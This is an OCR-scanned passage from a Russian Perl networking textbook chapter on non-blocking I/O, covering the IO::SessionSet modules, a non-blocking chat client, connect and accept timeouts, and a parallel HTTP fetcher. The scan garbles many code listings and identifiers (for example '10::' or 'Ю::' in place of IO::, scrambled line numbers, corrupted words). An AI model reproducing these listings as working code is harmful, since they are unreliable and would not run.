необходимых модулей и определения глобальной переменной $ debug, которая может быть
установлена для получения подробных отладочных сообщений. Это средство оказалось для
автора буквально бесценным, когда он разрабатывал данный модуль, а вам может быть
интересно его активизировать, чтобы узнать, как же в действительности работает данный модуль.
Для активизации отладочных сообщений просто поместите в начале своей программы
оператор $10::SessionSet::DEEUG=1.
■ Строки 8-27. Конструктор new(). Метод new о представляет собой конструктор для этого
класса. Определяются три переменные состояния, которые являются ключами в хеше,
включенном в пространство имен модуля с помощью функции bless (). Первый ключ, sessions,
хранит набор сеансов. Два других, readers и writers, содержат объекты 10:: select,
которые применяются, соответственно, при выборке дескрипторов, для чтения и записи.
Если метод new () был вызван с объектом приемного сокета Ю:: socket, то этот сокет
сохраняется в четвертой переменной состояния и вызывается метод add () модуля Ю:: select
для добавления этого приемного сокета к списку дескрипторов, контролируемых на наличие
запросов, предназначенных для чтения. Это позволяет включить в программу код
автоматического вызова метода accept ().
• Строки 28-30. Метод sessions О. Метод sessions о возвращает список объектов
Ю: :SessionData, которые были зарегистрированы с помощью этого модуля. Поскольку этот
класс должен выполнять прямов и обратное преобразование объектов Ю::SessionData
и основополагающих дескрипторов, для которых эти объекты служат оболочкой, переменная
состояния сеансов sessions фактически представляет собой хеш, ключами которого
являются объекты Ю:: Handle (как правило, сокеты) а значениями— соответствующие оболочки
Ю:: sessionData. Метод sessions () возвращает значения этого хеша.
• Строки 31-39. Метод add(). Метод add() вызывается для добавления дескриптора к
контролируемому набору. Он принимает дескриптор файла и необязательный флажок, который
указывает, что дескриптор предназначен только для записи.
Вызывается метод ю:: SessionData->new () для создания нового объекта сеанса, после
чего дескриптор и его вновь созданный объект сеанса добавляются к списку дескрипторов,
контролируемых набором объектов сеанса io: :sessionSet. В результате выполнения метода
создается объект сеанса.
Этот метод имеет одну интересную особенность. Поскольку необходимо иметь возможность
создавать подкласс класса Ю:: SessionData в будущем, в методе add() имя класса сеанса
жестко не закодировано. Вместо этого, объект сеанса создается косвенно, через внутренний
метод sessionDataciass (). Этот метод возвращает строку, которая будет использоваться
как класс объекта сеанса, в данном случае "Ю:: SessionData". Чтобы заставить объект
Ю: :SessionSet использовать другую оболочку, можно создать подкласс класса
IO: :Se.ssionSet и перекрыть (переопределить) метод SessionDataciass (). Это средство
будет применяться в версии этого модуля для построчного ввода-вывода, которая
рассматривается в следующем разделе.
• Строки 40-52. Метод delete(). Далее следует метод delete (), который удаляет сеанс из
списка контролируемых объектов. В целях расширения области применения этот метод
принимает к удалению либо Объект IO: :SessionData, либо объект Io: :Handle. При ЭТОМ, СО-
ответственно, вызывается два внутренних метода, to_handie () и tosession (>, для
преобразования параметра в объект дескриптора или объект сеанса. После этого удаляются все
ссылки на объект дескриптора и объект сеанса из внутренних структур данных.
• Строки 53-61. Метод to_handle (). Метод to_handle() принимает либо объект
Ю:: sessionData, либо Ю:: Handle. Для проведения различия между ними применяется
встроенный метод isa () языка Perl, позволяющий определить, является ли параметр
подклассом класса Ю:: sessionData. Если этот метод возвращает истинное значение, вызывается
метод handle () объекта для выборки и возврата его основополагающего дескриптора файла.
Если метод isa () возвращает ложное значение, нужно определить, не является ли параметр
дескриптором файла, путем проверки возвращаемого значения функции f ileno (), и если он
является таковым, параметр возвращается в неизменном виде. Если ни одна проверка не
оканчивается успешно, не остается ничего иного, кроме как вернуть значение undef.
Глава 13. Неблокирующий ввод-вывод
397
• Строки 62-70. Метод to_session(). Данный метод выполняет противоположное действие.
Выполняется проверка, не является ли параметр объектом ю:: session; если он является
таковым, то возвращается в неизменном виде. В ином случае осуществляется проверка
параметра с помощью функции f ileno (), и если он похож на дескриптор файла, то применяется
в качестве ключа хеша sessions для выборки объекта Ю::Session, который соответствует
данному дескриптору.
• Строки 71-92. Метод activate(). Метод activate () отвечает за добавление дескриптора
файла к соответствующему объекту Ю: :Select, если объект Ю: :SessionData,
соответствующий этому дескриптору, указывает, что он должен выполнить операцию ввода-вывода.
Этот метод может также применяться для перевода дескриптора в неактивное состояние.
Первым параметром метода может быть либо объект ю::sessionData, либо дескриптор
файла, поэтому его выполнение начинается с вызова метода to_handle () для
преобразования параметра (каким бы он ни был) в дескриптор файла. Вторым параметром является одна
из строк "read" или "write". Если это строка "read", значит, метод применяется к объекту
Ю:: Select, хранящемуся под ключом readers. В ином случае метод применяется к объекту
writers. Соответствующий объект Ю:: select копируется в локальную переменную.
В зависимости от того, требует ли вызывающая процедура перевести дескриптор в активное
или неактивное состояние, данный дескриптор файла либо добавляется к набору
Ю:: select, либо удаляется из него. В любом случае возвращается предыдущая установка
активизации для дескриптора файла.
• Строки 93-110. Метод wait (): обслуживание запросов на запись, ожидающих
выполнения. И наконец, мы перешли к основе этого модуля — методу wait (). Задача состоит в
вызове метода iO::Seiect->select() для дескрипторов, объекты сеансов которых объявили,
что эти дескрипторы готовы для ввода-вывода, чтобы выполнить следующие действия:
вызвать метод write () для тех объектов сеансов, которые содержат исходящие данные,
поставленные в очередь, и вызвать метод accept () с приемным сокетом, если
соответствующий ему объект Ю::select указывает, что он готов для чтения. Все другие дескрипторы
файлов, которые готовы для чтения, используются для поиска соответствующих объектов
Ю:: SessionData и возвращаются вызывающей процедуре.
В первой части этой подпрограммы вызывается метод 10:: Select->select (), который
возвращает двухэлементный список дескрипторов чтения readers и дескрипторов записи
writers, которые готовы для ввода-вывода. Следующая задача состоит в обслуживании
дескрипторов записи, которые содержат данные, поставленные в очередь. Теперь выполняется
цикл по воем дескрипторам, готовым для записи, отыскивается объект сеанса,
соответствующий очередному дескриптору, и вызывается метод write () объекта сеанса для записи с
помощью функции syswrite () максимально возможного объема данных, ожидающих
обработки. Напомним, что объект сеанса, после применения к нему метода Ю: :SessionData-
>write (), автоматически удаляет себя из списка дескрипторов, готовых для записи, если его
передающий буфер пуст.
• Строки 111-127. Метод wait (): обслуживание запросов на чтение, ожидающих
выполнения. В следующей части метода wait о обслуживается каждый из
дескрипторов файлов, готовых для чтения, которые были возвращены методом I0::select-
>select (). Если один из дескрипторов файлов, готовых для чтения, представляет собой
приемный сокет, вызывается его метод accept () для получения нового подключения со-
кета и добавления этого сокета к набору сеансов путем вызова метода add ().
Полученный объект ю:: SessionData добавляется к списку сеансов, готовых для чтения,
которые возвращаются вызывающей процедуре.
Если, с другой стороны, дескриптор, готовый для чтения, представляет собой дескриптор
другого типа, выполняется поиск соответствующего ему объекта сеанса и он добавляется к списку
сеансов, который должен быть возвращен вызывающей процедуре.
• Строки 128-132. Метод SessionDataClass(). Последним является метод
sessionDataClass (), возвращающий имя класса sessionData, который будет создан
методом add () при добавлении дескриптора файла к набору сеансов. В рассматриваемом
модуле класс SessionDataClass () возвращает строку "10:: SessionData".
В реализации метода 10: : SessionSet->wait () имеется небольшая, но
интересная семантическая несогласованность. Новый объект сеанса, создаваемый
398
Часть III. Разработка систем TCP типа клиент/сервер
при поступлении входящего запроса на установление соединения, возвращается
вызывающей процедуре, независимо от того, есть ли в нем действительно данные
для чтения. Это дает возможность вызывающей процедуре записать в этот
дескриптор файла исходящие данные, например вывести текст приветствия при
подключении клиента.
С другой стороны, если в вызывающей процедуре будет вызван метод react (}
нового объекта сеанса, то в этом объекте может отсутствовать возвращаемая
информация. Однако поскольку сокет является неблокирующим, это практически
не создает никакой проблемы. Метод read(} возвратит значение 0Е0, а
вызывающая процедура должна проигнорировать эти результаты чтения и повторить
свою попытку позднее.
Классы 10: :LineBuf feredSet
и IO::LineBufferedSessionData
Если приложить некоторые дополнительные усилия, можно создать подклассы
классов 10: :SessionSet и 10: : SessionData для получения классов
10: :LineBufferedSet и 10: :LineBufferedSessionData, предназначенных для
построчных операций ввода-вывода. Класс IO: :LineBuf feredSet обеспечивает
обратную совместимость с классом 10: :SessionSet. Возвращаемые им объекты
сеансов можно применять для ввода потоков байтов, вызывая метод read (} для выборки
произвольных фрагментов данных. Однако эти объекты можно также использовать
для построчного ввода, вызывая метод getline () для чтения данных по одной
строке за один раз.
В модуле 10: :LineBuf feredSet реализованы следующие модифицированные
методы.
9aet - IO::Linel3ufferodSet->new([JlietenJ)
Создает новый оРъект тт: :LinePuf feredSet. Как и в методе 10: :Scssi pSc-t->n*w()., при
задании необязательного параметра с обозначением приемнгге сонета выполняется контроль
альта ив наличие входящих-соединений.
(sessions - Sset-">wait([$tiiLieout])
Хаки в методе I"::Sessi- fiSet->wsit О, метод select () обращается к контролируемом
дескрипторам файлов и вгэвращает соответствующие им объекты сеансов, готовые для чтения
Однако возвращенные объекты сеансов представляют собой объекты ю: :Lin*.L>uf fcrortSessi-nDeta
которые поддерживает построчный введ-вывод.
Модуль 10: :LineBufferedSessionData предоставляет все методы модуля
10: :SessionData, а также еще один метод.
9hytes - 8«e«3ion->5etJ.ine(Jdata)
Считывает строку данных из слязаннч>гс с ним дескриптора файла, помещая ее в переменную
г, $ Jat.i и возвращая длину строки. В конце файла этст метод возвращает значение с. При
возникновении ошибки EWOf'iDPLOCK этст метод возвращает значение ОБО- При других ошибках воедэ-
выведа он возвращает значение undcf.
Код этих модулей, по сути, представляет собой доработку более простого модуля
10: : Get line, который был описан ранее в настоящей главе. Поскольку в этом коде
добавлено не так уж много по сравнению с рассмотренными ранее, здесь этот код
Глава 13. Неблокирующий ввод-вывод 399
подробно не рассматривается. Полные листинги кода этих двух модулей приведены
в Приложении А, "Дополнительный исходный код".
Как и в модуле IO: :Getline, в модуле 10: :LineBuf feredSessionData
применяется принцип ведения внутреннего буфера данных для хранения частично
обработанных строк. При вызове метода getline () этого модуля вначале в этом буфере
выполняется поиск полной строки текста. Если таковая будет найдена, то метод
getline () ее возвращает. В ином случае он вызывает функцию sysread () для
добавления данных к концу буфера и снова предпринимает такую же попытку.
Однако сопровождение внутреннего буфера приводит к таким же проблемам,
как и при использовании стандартных функций ввода-вывода в сочетании с
функцией select (}. Вызов функции select () может указывать, что нет новых
данных для чтения из дескриптора, тогда как фактически в буфере хранится полная
строка текста. Это значит, что необходимо немного изменить способ
применения функции select (). Это сделано путем создания 10: :LineBufferedSet,
подкласса класса 10: :SessionSet, откорректированного в целях обеспечения
его правильной работы с классом 10: :LineBufferedSessionData. В классе
IO: :LineBuf feredSet перекрыт метод wait() родительского класса, который
теперь выглядит примерно так:
sub wait {
my $self = shift;
# Вначале найти ранее буферизованные данные
my @sessions = grep {$_->has_buffered_data} $self->sessions;
return ^sessions if Qsessions;
return $self->SUPER::wait(@_);
}
В методе wait () предусмотрен вызов метода sessions () для получения списка
контролируемых объектов сеансов. Затем выполняется фильтрация этого списка
путем вызова нового метода has_buf f ered_data (), который возвращает истинное
значение, если внутренний буфер данных метода getline.() содержит одну или
несколько полных строк, предназначенных для чтения.
Если обнаружены объекты сеансов с полными строками, допускающими чтение,
то метод wait () их немедленно возвращает. В ином случае он обращается к
унаследованной версии метода wait() (вызывая метод своего суперкласса
SUPER: : wait (} ), который проверяет с помощью метода select () наличие новых
данных, готовых для чтения, во всех дескрипторах файлов низкого уровня.
Применение модуля IO::SessionSet с
дескрипторами файлов, отличными от сокетов
В заключение рассматривается последнее приложение модуля 10: :SessionSet —
неблокирующая версия клиента gab. Этот клиент работает аналогично клиентам,
описанным в предыдущей главе, но в нем для чередования операций ввода-вывода не
применяются мультипроцессные или многопоточные методы.
В этом клиентском сценарии показано, как работать с однонаправленными
дескрипторами, такими как STDIN и STD0UT, и как использовать подпрограмму обратного
вызова choke () для предотвращения возможности беспредельного роста
внутреннего буфера записи. Код этого сценария приведен в листинге 13.7.
400
Часть Ш. Разработка систем TCP типа клиент/сервер
Листинг 13.7. Сценарий gab6.pl
0: #!/usr/local/bin/perl -w
1: # Файл: gab6.pl
2: # Применение: gab6.pl [хост] [порт]
11
12
13
14
15
16
17
18
19
20
21
use strict;
use IO::Socket;
use 10::SessionSet;
$IO: .-SessionSet: :DEBUG=0;
7: my $host = shift or die "Usage gab6.pl host [port]\n";
8: my $port = shift II 'echo';
9: my $socket = IO: .-Socket:: INET->new("$host:$port") or die $@;
10: my $set = 10::SessionSet->new or die;
my $connection = $set->add($socket);
my $stdin = $set->add(\*STDIN);
my $stdout = $set->add(\*STDOUT,1);
$stdout->set_choke(sub {
my ($session, $do_choke) = @_;
$connection->readable(!$do_choke);
});
$connection->set_choke(sub {
my ($session,$do_choke) = @_;
$stdin->readable(!$do_choke);
});
22: my $data;
23: while ($set->sessions) {
24: my Gready = $set->wait();
25: foreach (Gready) {
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43: }
44: }
if ($_ eq $connection) {
if (my $bytes = $connection->read($data,1024)) {
$stdout->write($data) if $bytes > 0;
) else {
warn "connection terminated by remote host\n";
$connection->close;
$stdout->close;
$stdin->close;
}
}
if ($_ eq $stdin) {
if (my $bytes = $stdin->read($data, 1024)) {
$connection-">write($data) if $bytes > 0;
} else {
$connection->handle->shutdown(1);
}
}
Глава 13. Неблокирующий ввод-вывод
401
Проведем анализ программы.
I
Строки 1-8. Инициализация сценария и обработка параметров командной строки. Выполнение
сценария начинается с вызова соответствующих модулей. Для просмотра сообщений с кодом
состояния, выдаваемых модулем 1С: :sessionSet в процессе его управления потоком данных,
попробуйте установить переменную $10: :SessionSet:: deeug равной истинному значению.
Строки 9-13. Создание объектов Ю:: Socket и Го:: SessionSet. Создается объект
Ю:: Socket.-:i net, подключенный к указанному хосту и порту, и вызывается метод
10::SessionSet->new() для создания нового объекта SessionSet. В отличие от
предыдущих примеров, приемный сокет, который мог бы контролироваться с помощью объекта
Ю::SessionSet, отсутствует, поэтому методу new () не передаются параметры.
Теперь подключенный сокет добавляется к набору сеансов путем вызова его метода add(),
и выполняется то же действие для дескрипторов файлов stdin и stdout. Каждый из этих вызовов
возвращает объект го:: SessionData, который сохраняется для последующего использования.
При добавлении к набору сеансов дескриптора stdout применяется второй параметр с
истинным значением, который указывает, что дескриптор stdout предназначен только для записи.
Это исключает возможность для данного объекта набора сеансов поместить дескриптор
stdout в список дескрипторов, контролируемых в целях определения готовности для чтения.
Строки 14-21. Установка подпрограмм обратного вызова метода choke О. Следующие два
оператора устанавливают специализированные подпрограммы обратного вызова для метода
choke (). Первый вызов метода set_choke () определяет подпрограмму обратного вызова,
которая запрещает чтение из сокета после заполнения буфара stdout. Второй вызов
устанавливает подпрограмму обратного вызова, которая запрещает чтение из дескриптора stdin после
заполнения выходного буфара сокета. Эти правила поведения являются более подходящими по
сравнению с предусмотренными по умолчанию в модуле Го:: SessionSet, которые в
наибольшей степени приемлемы при чтении и записи в один и тот же дескриптор файла.
Сами подпрограммы обратного вызова являются анонимными. Каждая из них вызывается
методом choke () с двумя параметрами, состоящими из текущего объекта io:: SessionSet
и флажка, указывающего, должны ли быть применены к данному сеансу ограничения,
налагаемые методом choke (), или наоборот сняты.
Строки 22,23. Начало главного цикла. Программа входит в главный цикл ввода-вывода.
В отличие от предыдущих версий клиента gab, при получении признака конца файла EOF во
время чтения из подключенного сокета нельзя сразу же завершить работу. Это связано с тем,
что в объекте сеанса сокета или дескриптора stdout могут все еще находиться данные,
поставленные в очередь для ожидания, когда дескриптор файла будет готов для записи.
Завершение работы выполняется только после того, как все данные, поставленные в очередь для
передачи в дескриптор stdout и в сокет, будут очищены и объект io:: SessionSet удалит
дескриптор stdout и сокет из контролируемого набора. Это можно определить, вызвав метод $ set-
sessions. Если он возвратит значение undef, это значит, что все данные, стоящие в очереди,
были отправлены и соответствующие сеансы удалены из набора сеансов SessionSet.
Строка 24. Вызов метода wait о. Вызывается метод $set->waitо для перехода в
состояние ожидания готовности объектов сеансов для чтения. Этот метод обслуживает также
запросы на запись данных, ожидающих обработки. После возврата управления из метода wait ()
объекты сеансов, готовые для чтения, сохраняются в массиве.
Строки 25-35. Выполнение ввода-вывода в объектах сеансов. Выполняется цикл по всем
объектам сеансов, готовым для чтения. Если в их число входит сокет, из него считываются
данные и записываются в стандартный вывод. Если в процессе чтения будет получен признак
конца файла EOF, с помощью метода close () закрывается этот сокет, а также дескрипторы
файлов стандартного ввода и вывода. Это служит для модуля указанием, что ввод-вывод
в любом из этих объектов больше не будет выполняться. Однако основополагающие
дескрипторы файлов не закрываются до тех пор, пока при последующих вызовах метода wait () не
будут переданы все данные, поставленные в очередь.
Обратите внимание, что для записи в дескриптор файла $stdout применяется следующая
общая схема:
$stdout->write($data) if Sbytes > 0;
Это связано с тем, что метод $connection->read () может вернуть значение 0Е0 для
указания на ошибку ewouldelock В этом случае буфар $data не будет содержать новых данных.
402
Часть Ш. Разработка систем TCP типа клиент/сервер
поэтому не нужно пытаться их записывать. С этой ситуацией позволяет справиться операция
числового сравнения.
• Строки 36-42. Копирование данных из стандартного ввода в сокет. Если готовый дескриптор
фвйла, возвращенный методом wait (), представляет собой объект Ю: :SessionData типа
$stdin. то предпринимается попытка считать из него некоторые данные и записать их в сокет.
Однако если метод read () возвращает ложный результат, это значит, что дескриптор stdin
закрыт. В ответ на это вызывается метод shutdown () сокета для закрытия записывающей
стороны соединения. Это приводит к тому, что удаленный сервер обнаруживает признак конца
файла и закрывает свой конец соединения, поэтому при следующем проходе по циклу метод
$connection->read () возвращает ложный результат. Такой подход аналогичен
применяемому в предыдущих версиях этого клиента.
Эта версия клиента gab имеет длину 45 строк, тогда как мультипроцессная версия,
приведенная в листинге 10.2, — 28 строк, а многопоточная (листинг 11.3) — 27 строк.
Может создаться впечатление, что эта версия не намного сложнее предыдущих, но
нужно учитывать, что для ее поддержки применяется еще примерно 300 строк кода
модулей IO: :SessionData и IO: :SessionSet!
Такое увеличение размеров и повышение сложности кода обычно происходит при
переходе от блокирующей, многопоточной или многозадачной архитектуры к
неблокирующему однопоточному проекту.
Неблокирующие операции подключения
и приема входящих соединений
В остальной части этой главы рассматриваются неблокирующие операции
подключения и приема входящих соединений. Кроме операций чтения и записи, сокеты
могут блокироваться также при вызове функции connect (), когда удаленный хост не
спешит с ответом, и функции accept () во время ожидания входящих соединений.
Функция connect {) может заблокироваться на неопределенное время при многих
обстоятельствах, но чаще всего это происходит, когда удаленный хост остановлен или
неисправный маршрутизатор исключает к нему доступ. В этих случаях функция
connect () блокируется на неопределенно долгое время, пока ошибка не будет
исправлена. Реже встречается еще одна ситуация, при которой на удаленный сервер поступает
слишком большое число входящих запросов и он не сразу вызывает функцию accept ().
В обоих случаях можно использовать неблокирующий вызов connect () для установки
предельного значения времени, на которое будет заблокирована функция connect ().
Кроме того, можно одновременно инициализировать несколько операций
подключения и обрабатывать результаты каждой из них по мере их завершения.
Функция accept () обычно применяется с серверами, ожидающими входящих
соединений, в блокирующем режиме. Однако в серверных программах, которые
должны выполнять какую-то фоновую обработку между вызовами функции accept {),
можно использовать неблокирующий вызов accept () для ограничения времени,
проводимого сервером в состоянии, заблокированном в результате вызова accept ().
Параметр тайм-аута модуля 10: .-Socket
Если в программе нужно просто завершить по тайм-ауту вызов функций
connect () или accept (), то в объектно-ориентированном модуле IO:: Socket для
этого предусмотрен простой способ. При создании нового объекта 10: : Socket мож-
Глава 13. Неблокирующий ввод-вывод
403
но задать параметр Timeout с указанием числа секунд, на которые он может быть
заблокирован. В самом модуле 10:: Socket для реализации этих тайм-аутов
применяется неблокирующий ввод-вывод.
Для исходящих соединений выполнение функции connect () происходит
автоматически во время создания объекта, поэтому по истечении тайм-аута метод new ()
объекта IO: : Socket возвращает значение undef. В следующем примере
предпринимается попытка подключения к порту 80 хоста 192.168.3.1 с предоставлением вплоть
до 10 секунд для выполнения функции connect (). Если соединение выполняется
в течение этого интервала времени, то возвращается подключенный объект
10: : Socket и сохраняется в объекте $sock. В ином случае вызывается функция die
: сообщением об ошибке, хранящемся в переменной $@. По причинам, которые
станут очевидными позже, в случае завершения операции по тайм-ауту выдается
сообщение об ошибке"10::Socket::INET: Operation now in progress.".
$sock = IO::Socket::INET(PeerAddr => 492.156.3.1:80',
Timeout => 10) ;
$sock or die $Gt
Тайм-аут, предусмотренный для операции приема, применяется объектом
10: : Socket во время вызова метода accept (). В следующем фрагменте кода
создается приемный сокет с тайм-аутом 5 секунд, после чего программа входит в цикл,
ожидая входящих запросов на установление соединения. В связи с наличием тайм-
аута, метод accept () ожидает поступления входящего запроса на установление
соединения не более 5 секунд и возвращает либо подключенный объект сокета, если он
был создан, либо значение undef. В последнем случае в цикле выводится
предупреждающее сообщение и выполняется возврат в начало цикла. В ином случае, как
обычно, выполняется обработка подключенного сокета.
$sock = IO::Socket::INET->new( LocalPort => 8000,
Listen => 20,
Reuse => 1,
Timeout => 5 );
while (1) {
my $connected = $sock->accept();
unless ($connected) {
warn "timeout! ($@)\n";
next;
}
# В ином случае обработать подключенный сокет
}
Если выполнение метода accept () прекращается по тайм-ауту без выполнения
соединения, переменная $В содержит сообщение "10: :Socket: :INET: Operation
now in progress.".
Неблокирующее выполнение метода connect()
В настоящем разделе описано, как реализовано завершение по тайм-ауту вызова
метода connect () модуля IO: : Socket. Это описание позволяет понять, как
использовать неблокирующий метод connect () в более сложных приложениях.
Для выполнения неблокирующего подключения с использованием модуля
10:: Socket необходимо создать объект 10:: Socket, не позволяя ему подключаться
автоматически, перевести его в неблокирующий режим, а затем выполнить вызов
метода connect () вручную. Эта общая схема иллюстрируется в следующем фрагменте кода.
404 Часть III. Разработка систем TCP типа клиент/сервер
use 10: : .Socket;
use Errno qw(EWOULDBLOCK EINPROGRESS);
use 10::Select;
my $TIME0UT =10; # Тайм-аут на десять секунд
my $sock = 10::Socket::INET->new(Proto => 'tcp'.
Type => S0CK_STREAM)
or die $@;
$sock->blocking(0); # Неблокирующий режим
my $addr = sockaddr_in(80,inet_aton('192.168.3.1") ) ;
my $result = $sock->connect($addr);
Поскольку предусмотрено выполнение подключения вручную, методу new ()
модуля IO: : Socket не передаются параметры PeerAddr или PeerHost, поскольку любой
из них активизирует попытку подключения. Вместо этого передаются параметры
Proto и Туре для обеспечения создания сокета TCP. Если сокет был создан успешно,
он переводится в неблокирующий режим путем передачи ложного значения
параметра методу blocking (). Теперь необходимо явно выполнить подключение сокета,
передав его функции connect (). Поскольку функция connect () не допускает
применения таких же сокращенных способов указания имен, как объектно-
ориентированный метод new (), необходимо явно указать упакованную структуру
адреса Internet с использованием функций sockaddr_in () и inet_aton {), описанных
в главе 3, и использовать ее в качестве второго параметра функции connect ().
Напомним, что функция connect () возвращает код результата, по которому
можно узнать, было ли соединение установлено успешно. В некоторых случаях, таких как
подключение к адресу петли обратной связи, неблокирующий вызов функции
connect () выполняется немедленно и возвращает истинный результат. Однако
в большинстве случаев этот вызов возвращает ряд ненулевых кодов результата.
Наиболее часто встречается код результата EINPROGRESS, который просто указывает, что
операция неблокирующего подключения продолжается и необходимо периодически
проверять, не была ли она завершена. Однако могут также возникать различные коды
отказа, например значение ECONNREFUSED указывает, что удаленный хост отклонил
запрос на установление соединения.
Если вызов функции connect () сразу же был выполнен успешно, то можно
перейти к использованию этого сокета без лишних хлопот. В ином случае проверяется
код результата. Если он отличен от EINPROGRESS, то попытка соединения оказалась
неудачной и поэтому вызывается функция die.
unless ($result) { # Возможна ошибка
die "Can't connect: $!" unless $! == EINPROGRESS;
B ином случае, если код результата равен EINPROGRESS, то попытки установить
соединение продолжаются. Теперь придется ждать, пока соединение не будет
установлено. Как было указано в главе 12, функция select () показывает, что сокет
отмечен как доступный для записи сразу после завершения неблокирующей операции
подключения. Этим свойством функции можно воспользоваться путем создания
нового объекта I0::Select, добавления к нему сокета и вызова его метода
can_write () с тайм-аутом. Если подключение сокета было выполнено до истечения
тайм-аута, то метод can_write () возвращает одноэлементный список, содержащий
сокет. В ином случае он возвращает пустой список и вызывается функция die с
сообщением об ошибке.
Глава 13. Неблокирующий ввод-вывод
405
my $s = 10::Select->new($sock);
die "timeout!" unless $s->can_write($TIMEOUT);
Если метод can_write () возвращает сокет, это значит, что подключение было
выполнено, но неизвестно, действительно ли это соединение было установлено
успешно. При неблокирующем подключении может быть возвращена такая ошибка,
проявляющаяся не сразу, как EC0NNREFUSED. Можно определить, было ли это
подключение выполнено успешно, путем вызова метода connected () объекта сокета,
который возвращает истинное значение, если сокет в настоящее время подключен,
и ложное — в ином случае.
unless ($sock->connected) {
$' = $sock->sockopt(SO_ERROR);
die "Can't connect: $!"
}
)
Если метод connected () возвратил ложное значение, то, вероятно, следует
определить, по каким причинам попытка подключения завершилась неудачей. Однако нельзя
просто проверить содержимое переменной $ !, поскольку она может содержать
сообщение об ошибке, связанное с последним по времени системным вызовом, а не
сообщение об ошибке, активизация которой отложена. Для получения необходимой
информации вызывается метод sockopt () сокета с параметром S0_ERR0R, который позволяет
определить ошибку сокета с отложенной активизацией. Этот метод возвращает
стандартный числовой код ошибки, который присваивается переменной $ !. Теперь, после
вызова функции die с сообщением об ошибке, магическое поведение переменной $!
гарантирует, что этот код ошибки будет отображен в виде сообщения,
предназначенного для восприятия человеком, при его использовании в строковом контексте.
В результате успешного выполнения этого блока кода создается подключенный
сокет. Он снова переводится в блокирующий режим, и дальнейшие действия с ним
выполняются как обычно.
$sock->blocking(l);
# Выполнить операцию ввода-вывода в сокете и т.д.
В листинге 13.8 этот фрагмент кода показан полностью в форме подпрограммы
connect_with_timeout (). Вызов этой подпрограммы может быть выполнен
примерно так:
my $socket = connect_with_timeout($host,$port,$timeout);
Листинг 13.8. Подпрограмма вызова функции connect () с тайм-аутом
use I0::Socket;
use Errno qw(EWOULDBLOCK EINPROGRESS) ;
use 10::Select;
sub connect_with_timeout {
my ($host,$port,$timeout) = @_;
my $sock = 10::Socket::INET->new(Proto => 'tcp'f
Type => S0CK_STREAM)
or die $@;
$sock->blocking(0); # Неблокирующий режим
my $addr = sockaddr_in($port,scalar inet_aton($host));
my $result = $sock->connect($addr);
406
Часть Ш. Разработка систем TCP типа клиент/сервер
10: unless ($result) { # Возможна ошибка
11: die "Can't connect: $!" unless $! == EINPROGRESS;
12: my $s = 10::Select->new($sock);
13: die "timeout!" unless $s->can write($timeout);
14
15
16
17
18
19
20
21
unless ($sock->connected) {
$! = $sock->sockopt(SO_ERROR);
die "Can't connect: $'"
}
$sock->blocking(l);
return $sock;
}
При изучении исходного кода модуля 10: : Socket можно обнаружить, что для
реализации опции Timeout применяется во многом аналогичный способ.
Одновременное обслуживание нескольких
операций подключения
Более сложный вариант общей схемы, применяемой для выполнения
неблокирующего подключения с тайм-аутом, может применяться для параллельной
инициализации нескольких соединений. Это позволяет резко повысить производительность
некоторых приложений.
Рассмотрим приложение Web-броузера. Последовательность действий,
выполняемых броузером при выборке HTML-страницы, начинается с того, что он
интерпретирует страницу, отыскивая встроенные изображения. Каждое изображение связано с
отдельным URL, а каждый из этих URL может находиться на разных Web-серверах,
которые могут отличаться по скорости отклика. Если в клиентской программе принят
примитивный подход, который состоит в том, что вначале выполняется подключение
отдельно к каждому серверу, затем загрузка изображения и переход к следующем)-
серверу, то сервер, который реагирует медленнее всех, задержит выполнение всех
последующих операций. Вместо этого, путем параллельной инициализации многочисленных
попыток подключения, в программе можно обрабатывать ответы серверов в том
порядке, в каком они реагируют на запросы. В сочетании с использованием параллельных
процессов передачи данных и визуализации страницы этот метод позволяет приступить
к выводу Web-страницы на экран Wreb-6poy3epa сразу после загрузки кода HTML.
Простой HTTP-клиент
Для иллюстрации такого подхода в настоящем разделе описано небольшое
приложение Wreb-ioiHeHTa, основанное на протоколе HTTP. Функциональные средства
этого клиента не выдерживают никакого сравнения с теми возможностями, которые
предоставляет библиотека LWP (глава 9). Однако он обладает способностью
выполнять выборку всего информационного наполнения страницы параллельно, а
библиотека LWP этого (пока) не позволяет.
Глава 13. Неблокирующий ввод-вывод
407
Поскольку это приложение не слишком замысловато, мы с его помощью не будем
выполнять какой-либо вывод на экран или просмотр, а просто выберем ряд URL,
указанных в командной строке, сохраняя полученные копии страниц на диске. Данное
приложение можно использовать для создания локальной зеркальной копии набора
страниц. Эта программа имеет следующую структуру.
1. Интерпретация URL, заданных в командной строке, выборка имен хостов
и номеров портов.
2. Создание набора неблокирующих дескрипторов 10: : Socket.
3. Инициализация неблокирующих подключений к каждому из дескрипторов
и немедленная обработка всех возникающих ошибок.
4. Добавление каждого дескриптора к набор)' 10: : Select, который будет
контролироваться на его готовность для записи, и применение метода select ()
ко всему набору, пока один или несколько дескрипторов не станут готовы для
записи.
5. Отправка запроса на получение соответствующего документа Web и
добавление дескриптора к набору 10: : Select, который будет контролироваться на
его готовность для чтения.
6. Чтение данных документа из каждого дескриптора в цикле select () и запись
данных в локальные файлы по мере перехода сокетов в состояние готовности
для чтения.
На практике этапы 4-6 можно объединить в единственный цикл select () для
дополнительного повышения параллелизма.
Этот сценарий, по сути, представляет собой доработку сценария web_fetch.pl,
который рассматривался в главе 5 (листинг 5.4). Кроме неблокирующего
подключения и параллельной загрузки, теперь каждый полученный документ сохраняется в
иерархии каталогов с учетом его URL. Например, URL
http://www.cshl.org/meetings/index.html будет храниться в текущем каталоге
в файле www. cshl. org/meetings/index. html.
Предусмотрена не только выработка соответствующего запроса GET, но и
выполнение в минимальном объеме интерпретации возвращенного заголовка HTTP для
определения того, был ли запрос выполнен успешно. Типичный ответ выглядит
примерно так:
НТТР/1.1 200 0К
Date: Wed, 01 Mar 2000 17:00:41 GMT
Server: Apache/1.3.6 (UNIX)
Last-Modified: Mon, 31 Jan 2000 04:28:15 GMT
Connection: close
Content-Type: text/html
<!D0CTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<html> <head> <title>Presto Home Page</title> </head>
<body>
<hl>Welcome to Presto</hl>
Наиболее важной частью этого ответа является самая верхняя строка, которая
указывает код состояния, характеризующий успешное или неудачное выполнение
запроса. Эта строка начинается с кода версии протокола (в данном случае НТТР/1.1),
за которым следует код состояния и сообщение о состоянии.
408
Часть Ш. Разработка систем TCP типа клиент/сервер
Код состояния— это трехзначное целое число, указывающее результат запроса.
